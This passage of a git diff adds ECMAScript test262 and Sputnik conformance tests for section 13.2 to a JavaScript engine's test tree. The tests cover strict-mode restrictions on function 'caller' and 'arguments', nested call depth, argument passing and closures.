+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-22-s.js
+ * @description StrictMode - writing a property named 'caller' of function objects is not allowed outside the function
+ * @onlyStrict
+ */
+
+
+
+function testcase() {
+ function foo () {"use strict";}
+ try {
+ foo.caller = 41;
+ return false;
+ }
+ catch (e) {
+ return e instanceof TypeError;
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch13/13.2/13.2-23-s.js b/js/src/tests/test262/ch13/13.2/13.2-23-s.js
new file mode 100644
index 000000000..0e89b66ae
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-23-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-23-s.js
+ * @description StrictMode - enumerating over a function object looking for 'caller' fails outside of the function
+ * @onlyStrict
+ */
+
+
+
+function testcase() {
+ function foo () {"use strict";}
+ for (var tempIndex in foo) {
+ if (tempIndex === "caller") {
+ return false;
+ }
+ }
+ return true;
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch13/13.2/13.2-24-s.js b/js/src/tests/test262/ch13/13.2/13.2-24-s.js
new file mode 100644
index 000000000..f9008fc56
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-24-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-24-s.js
+ * @description StrictMode - enumerating over a function object looking for 'caller' fails inside the function
+ * @onlyStrict
+ */
+
+
+
+function testcase() {
+ function foo () {
+ "use strict";
+ for (var tempIndex in this) {
+ if (tempIndex==="caller") {
+ return false;
+ }
+ }
+ return true;
+ }
+ return foo();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch13/13.2/13.2-25-s.js b/js/src/tests/test262/ch13/13.2/13.2-25-s.js
new file mode 100644
index 000000000..b4c650897
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-25-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-25-s.js
+ * @description StrictMode - reading a property named 'arguments' of function objects is not allowed outside the function
+ * @onlyStrict
+ */
+
+
+
+function testcase() {
+ function foo () {"use strict";}
+ try {
+ var temp = foo.arguments;
+ return false;
+ }
+ catch (e) {
+ return e instanceof TypeError;
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch13/13.2/13.2-26-s.js b/js/src/tests/test262/ch13/13.2/13.2-26-s.js
new file mode 100644
index 000000000..68682ce31
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-26-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-26-s.js
+ * @description StrictMode - writing a property named 'arguments' of function objects is not allowed outside the function
+ * @onlyStrict
+ */
+
+
+
+function testcase() {
+ function foo () {"use strict";}
+ try {
+ foo.arguments = 41;
+ return false;
+ }
+ catch (e) {
+ return e instanceof TypeError;
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch13/13.2/13.2-27-s.js b/js/src/tests/test262/ch13/13.2/13.2-27-s.js
new file mode 100644
index 000000000..d6177986a
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-27-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-27-s.js
+ * @description StrictMode - enumerating over a function object looking for 'arguments' fails outside of the function
+ * @onlyStrict
+ */
+
+
+
+function testcase() {
+ function foo () {"use strict";}
+
+ for (var tempIndex in foo) {
+ if (tempIndex === "arguments") {
+ return false;
+ }
+ }
+ return true;
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch13/13.2/13.2-28-s.js b/js/src/tests/test262/ch13/13.2/13.2-28-s.js
new file mode 100644
index 000000000..dd9dad3ee
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-28-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-28-s.js
+ * @description StrictMode - enumerating over a function object looking for 'arguments' fails inside the function
+ * @onlyStrict
+ */
+
+
+
+function testcase() {
+ function foo() {
+ "use strict";
+ for (var tempIndex in this) {
+ if (tempIndex==="arguments") {
+ return false;
+ }
+ }
+ return true;
+ }
+ return foo();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch13/13.2/13.2-29-s.js b/js/src/tests/test262/ch13/13.2/13.2-29-s.js
new file mode 100644
index 000000000..c84a8b2e6
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-29-s.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-29-s.js
+ * @description StrictMode - property named 'caller' of function objects is not configurable
+ * @onlyStrict
+ */
+
+
+
+function testcase() {
+ function foo() {"use strict";}
+ return Object.getOwnPropertyDescriptor(foo,
+ "caller") === undefined;
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.2/13.2-3-s.js b/js/src/tests/test262/ch13/13.2/13.2-3-s.js
new file mode 100644
index 000000000..642f417c7
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-3-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-3-s.js
+ * @description StrictMode - Writing or reading from a property named 'arguments' of function objects is allowed under both strict and normal modes.
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ var foo = function () {
+ this.arguments = 12;
+ }
+ var obj = new foo();
+ return obj.arguments === 12;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.2/13.2-30-s.js b/js/src/tests/test262/ch13/13.2/13.2-30-s.js
new file mode 100644
index 000000000..8fed90947
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-30-s.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-30-s.js
+ * @description StrictMode - property named 'caller' of function objects is not configurable
+ * @onlyStrict
+ */
+
+
+
+function testcase() {
+ return Object.getOwnPropertyDescriptor(Function("'use strict';"),
+ "caller") === undefined;
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.2/13.2-31-s.js b/js/src/tests/test262/ch13/13.2/13.2-31-s.js
new file mode 100644
index 000000000..41a438483
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-31-s.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-31-s.js
+ * @description StrictMode - property named 'caller' of function objects is not configurable
+ * @onlyStrict
+ */
+
+
+
+function testcase() {
+ return Object.getOwnPropertyDescriptor(new Function("'use strict';"),
+ "caller") === undefined;
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.2/13.2-32-s.js b/js/src/tests/test262/ch13/13.2/13.2-32-s.js
new file mode 100644
index 000000000..9c9bdb7f9
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-32-s.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-32-s.js
+ * @description StrictMode - property named 'caller' of function objects is not configurable
+ * @onlyStrict
+ */
+
+
+
+function testcase() {
+ var funcExpr = function () { "use strict";};
+ return Object.getOwnPropertyDescriptor(funcExpr,
+ "caller") === undefined;
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.2/13.2-33-s.js b/js/src/tests/test262/ch13/13.2/13.2-33-s.js
new file mode 100644
index 000000000..1db245cb5
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-33-s.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-33-s.js
+ * @description StrictMode - property named 'arguments' of function objects is not configurable
+ * @onlyStrict
+ */
+
+
+
+function testcase() {
+ function foo() {"use strict";}
+ return Object.getOwnPropertyDescriptor(foo,
+ "arguments") === undefined;
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.2/13.2-34-s.js b/js/src/tests/test262/ch13/13.2/13.2-34-s.js
new file mode 100644
index 000000000..6d3a18078
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-34-s.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-34-s.js
+ * @description StrictMode - property named 'arguments' of function objects is not configurable
+ * @onlyStrict
+ */
+
+
+
+function testcase() {
+ return Object.getOwnPropertyDescriptor(Function("'use strict';"),
+ "arguments") === undefined;
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.2/13.2-35-s.js b/js/src/tests/test262/ch13/13.2/13.2-35-s.js
new file mode 100644
index 000000000..bdb65cb0b
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-35-s.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-35-s.js
+ * @description StrictMode - property named 'arguments' of function objects is not configurable
+ * @onlyStrict
+ */
+
+
+
+function testcase() {
+ return Object.getOwnPropertyDescriptor(new Function("'use strict';"),
+ "arguments") === undefined;
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.2/13.2-36-s.js b/js/src/tests/test262/ch13/13.2/13.2-36-s.js
new file mode 100644
index 000000000..be55e7689
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-36-s.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-36-s.js
+ * @description StrictMode - property named 'arguments' of function objects is not configurable
+ * @onlyStrict
+ */
+
+
+
+function testcase() {
+ var funcExpr = function () { "use strict";};
+ return Object.getOwnPropertyDescriptor(funcExpr,
+ "arguments") === undefined;
+}
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.2/13.2-4-s.js b/js/src/tests/test262/ch13/13.2/13.2-4-s.js
new file mode 100644
index 000000000..82981f467
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-4-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-4-s.js
+ * @description StrictMode - A TypeError is thrown when a code in strict mode tries to write to 'arguments' of function instances.
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ try {
+ var foo = function () {
+ }
+ foo.arguments = 20;
+ return false;
+ } catch (ex) {
+ return ex instanceof TypeError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.2/13.2-5-s.js b/js/src/tests/test262/ch13/13.2/13.2-5-s.js
new file mode 100644
index 000000000..2512e5ef0
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-5-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-5-s.js
+ * @description StrictMode - reading a property named 'caller' of function objects is not allowed outside the function
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ var foo = new Function("'use strict';");
+ try {
+ var temp = foo.caller;
+ return false;
+ }
+ catch (e) {
+ return e instanceof TypeError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.2/13.2-6-s.js b/js/src/tests/test262/ch13/13.2/13.2-6-s.js
new file mode 100644
index 000000000..5b6de1de9
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-6-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-6-s.js
+ * @description StrictMode - writing a property named 'caller' of function objects is not allowed outside the function
+ * @onlyStrict
+ */
+
+
+
+function testcase() {
+ var foo = new Function("'use strict';");
+ try {
+ foo.caller = 41;
+ return false;
+ }
+ catch (e) {
+ return e instanceof TypeError;
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch13/13.2/13.2-7-s.js b/js/src/tests/test262/ch13/13.2/13.2-7-s.js
new file mode 100644
index 000000000..2b5fbb185
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-7-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-7-s.js
+ * @description StrictMode - enumerating over a function object looking for 'caller' fails outside of the function
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ var foo = new Function("'use strict';");
+
+ for (var tempIndex in foo) {
+ if (tempIndex === "caller") {
+ return false;
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.2/13.2-8-s.js b/js/src/tests/test262/ch13/13.2/13.2-8-s.js
new file mode 100644
index 000000000..42bcc07d9
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-8-s.js
@@ -0,0 +1,17 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-8-s.js
+ * @description StrictMode - enumerating over a function object looking for 'caller' fails inside the function
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ var foo = new Function("'use strict'; for (var tempIndex in this) {if (tempIndex===\"caller\") {return false;}}; return true;");
+ return foo();
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.2/13.2-9-s.js b/js/src/tests/test262/ch13/13.2/13.2-9-s.js
new file mode 100644
index 000000000..fac6285e6
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/13.2-9-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.2/13.2-9-s.js
+ * @description StrictMode - reading a property named 'caller' of function objects is not allowed outside the function
+ * @onlyStrict
+ */
+
+
+
+function testcase() {
+ var foo = Function("'use strict';");
+ try {
+ var temp = foo.caller;
+ return false;
+ }
+ catch (e) {
+ return e instanceof TypeError;
+ }
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.1_A1_T1.js b/js/src/tests/test262/ch13/13.2/S13.2.1_A1_T1.js
new file mode 100644
index 000000000..1295b6a48
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.1_A1_T1.js
@@ -0,0 +1,74 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The depth of nested function calls reaches 32
+ *
+ * @path ch13/13.2/S13.2.1_A1_T1.js
+ * @description Creating function calls 32 elements depth
+ */
+
+(function(){
+ (function(){
+ (function(){
+ (function(){
+ (function(){
+ (function(){
+ (function(){
+ (function(){
+ (function(){
+ (function(){
+ (function(){
+ (function(){
+ (function(){
+ (function(){
+ (function(){
+ (function(){
+ (function(){
+ (function(){
+ (function(){
+ (function(){
+ (function(){
+ (function(){
+ (function(){
+ (function(){
+ (function(){
+ (function(){
+ (function(){
+ (function(){
+ (function(){
+ (function(){
+ (function(){
+ (function(){})()
+ })()
+ })()
+ })()
+ })()
+ })()
+ })()
+ })()
+ })()
+ })()
+ })()
+ })()
+ })()
+ })()
+ })()
+ })()
+ })()
+ })()
+ })()
+ })()
+ })()
+ })()
+ })()
+ })()
+ })()
+ })()
+ })()
+ })()
+ })()
+ })()
+ })()
+})()
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.1_A4_T1.js b/js/src/tests/test262/ch13/13.2/S13.2.1_A4_T1.js
new file mode 100644
index 000000000..a2bce3580
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.1_A4_T1.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Objects as arguments are passed by reference
+ *
+ * @path ch13/13.2/S13.2.1_A4_T1.js
+ * @description Adding new number property to a function argument within the function body,
+ * where explicit argument is an object defined with "var __obj={}"
+ */
+
+function __func(__arg){
+ __arg.foo=7;
+}
+
+var __obj={};
+
+__func(__obj);
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__obj.foo !== 7) {
+ $ERROR('#1: __obj.foo === 7. Actual: __obj.foo ==='+__obj.foo);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.1_A4_T2.js b/js/src/tests/test262/ch13/13.2/S13.2.1_A4_T2.js
new file mode 100644
index 000000000..682f57d08
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.1_A4_T2.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Objects as arguments are passed by reference
+ *
+ * @path ch13/13.2/S13.2.1_A4_T2.js
+ * @description Adding new string property to a function argument within the function body,
+ * where explicit argument is an object defined with "__obj={}"
+ */
+
+function __func(__arg){
+ __arg.foo="whiskey gogo";
+}
+
+var __obj={};
+
+ __func(__obj);
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__obj.foo !== "whiskey gogo") {
+ $ERROR('#1: __obj.foo === "whiskey gogo". Actual: __obj.foo ==='+__obj.foo);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.1_A4_T3.js b/js/src/tests/test262/ch13/13.2/S13.2.1_A4_T3.js
new file mode 100644
index 000000000..00ee68b10
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.1_A4_T3.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Objects as arguments are passed by reference
+ *
+ * @path ch13/13.2/S13.2.1_A4_T3.js
+ * @description Adding new number property to a function argument within the function body,
+ * where array element "arguments[0]" is an object defined with "__obj={}"
+ */
+
+function __func(){
+ arguments[0]["PI"]=3.14;
+}
+
+var __obj={};
+
+__func(__obj);
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__obj.PI !== 3.14) {
+ $ERROR('#1: __obj.PI === 3.14. Actual: __obj.PI ==='+__obj.PI);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.1_A4_T4.js b/js/src/tests/test262/ch13/13.2/S13.2.1_A4_T4.js
new file mode 100644
index 000000000..a9a026121
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.1_A4_T4.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Objects as arguments are passed by reference
+ *
+ * @path ch13/13.2/S13.2.1_A4_T4.js
+ * @description Adding new number property to a function argument within the function body,
+ * where array element "arguments[0]" is an object defined with "var __obj={}"
+ */
+
+function __func(){
+ arguments[0]["E"]=2.74;
+}
+
+var __obj={};
+
+__func(__obj);
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__obj.E !== 2.74) {
+ $ERROR('#1: __obj.E === 2.74. Actual: __obj.E ==='+__obj.E);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.1_A5_T1.js b/js/src/tests/test262/ch13/13.2/S13.2.1_A5_T1.js
new file mode 100644
index 000000000..81909da90
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.1_A5_T1.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Closures are admitted
+ *
+ * @path ch13/13.2/S13.2.1_A5_T1.js
+ * @description Sorting with closure
+ */
+
+var __arr = [4,3,2,1,4,3,2,1,4,3,2,1];
+//Sort uses closure
+//
+__arr.sort(
+ function(x,y) {
+ if (x>y){return -1;}
+ if (x<y){return 1;}
+ if (x==y){return 0;}
+ }
+);
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__arr.toString() !== [4,4,4,3,3,3,2,2,2,1,1,1].toString()) {
+ $ERROR('#1: __arr.toString() === [4,4,4,3,3,3,2,2,2,1,1,1].toString(). Actual: __arr.toString() ==='+__arr.toString());
+}
+
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.1_A5_T2.js b/js/src/tests/test262/ch13/13.2/S13.2.1_A5_T2.js
new file mode 100644
index 000000000..e48402cd6
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.1_A5_T2.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Closures are admitted
+ *
+ * @path ch13/13.2/S13.2.1_A5_T2.js
+ * @description Returning a function that approximates the derivative of f
+ * using an interval of dx, which should be appropriately small
+ */
+
+// Return a function that approximates the derivative of f
+// using an interval of dx, which should be appropriately small.
+function derivative(f, dx) {
+ return function(x) {
+ return (f(x + dx) - f(x)) / dx;
+ };
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (Math.abs(derivative(Math.sin, 0.0001)(0) - derivative(Math.sin, 0.0001)(2*Math.PI)) >= 1/65536.0) {
+ $ERROR('#1: Math.abs(derivative(Math.sin, 0.0001)(0) - derivative(Math.sin, 0.0001)(2*Math.PI)) <= 1/65536.0');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.1_A6_T1.js b/js/src/tests/test262/ch13/13.2/S13.2.1_A6_T1.js
new file mode 100644
index 000000000..a1d360b34
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.1_A6_T1.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Primitive types are passed by value
+ *
+ * @path ch13/13.2/S13.2.1_A6_T1.js
+ * @description Declaring a function with "function __func(arg1, arg2)"
+ */
+
+function __func(arg1, arg2){
+ arg1++;
+ arg2+="BA";
+};
+
+var x=1;
+y=2;
+var a="AB"
+b="SAM";
+
+__func(x,a);
+__func(y,b);
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (x!==1 || y!==2 || a!=="AB" || b!=="SAM") {
+ $ERROR('#1: x === 1 and y === 2 and a === "AB" and b === "SAM". Actual: x ==='+x+' and y ==='+y+' and a ==='+a+' and b ==='+b);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.1_A6_T2.js b/js/src/tests/test262/ch13/13.2/S13.2.1_A6_T2.js
new file mode 100644
index 000000000..f92bafaf2
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.1_A6_T2.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Primitive types are passed by value
+ *
+ * @path ch13/13.2/S13.2.1_A6_T2.js
+ * @description Declaring a function with "__func = function(arg1, arg2)"
+ */
+
+__func = function(arg1, arg2){
+ arg1++;
+ arg2+="BA";
+};
+
+var x=1;
+y=2;
+var a="AB"
+b="SAM";
+
+__func(x,a);
+__func(y,b);
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (x!==1 || y!==2 || a!=="AB" || b!=="SAM") {
+ $ERROR('#1: x === 1 and y === 2 and a === "AB" and b === "SAM". Actual: x ==='+x+' and y ==='+y+' and a ==='+a+' and b ==='+b);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.2/S13.2.1_A7_T1.js b/js/src/tests/test262/ch13/13.2/S13.2.1_A7_T1.js
new file mode 100644
index 000000000..4e46fcafe
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.2/S13.2.1_A7_T1.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
